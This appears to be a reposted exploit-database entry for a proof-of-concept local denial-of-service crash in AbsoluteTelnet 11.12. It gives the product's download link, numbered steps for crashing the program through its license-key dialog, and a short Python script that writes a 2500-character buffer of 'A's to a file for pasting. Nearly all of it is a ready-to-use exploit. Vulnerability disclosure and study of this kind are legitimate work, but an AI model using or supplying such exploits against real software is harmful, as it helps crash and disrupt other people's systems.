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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: AbsoluteTelnet 11.12 - "license name" Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: AbsoluteTelent 11.12_license_code.py
#2.- Open AbsoluteTelent_license_code.txt and copy content to clipboard
#3.- Open AbsoluteTelnet.exe
#4.- Select "Help" > "Enter License Key"
#5.- In "License code" paste Clipboard
#6.- Crashed

cod = "\x41" * 2500

f = open('AbsoluteTelent_license_code.txt', 'w')
f.write(cod)
f.close()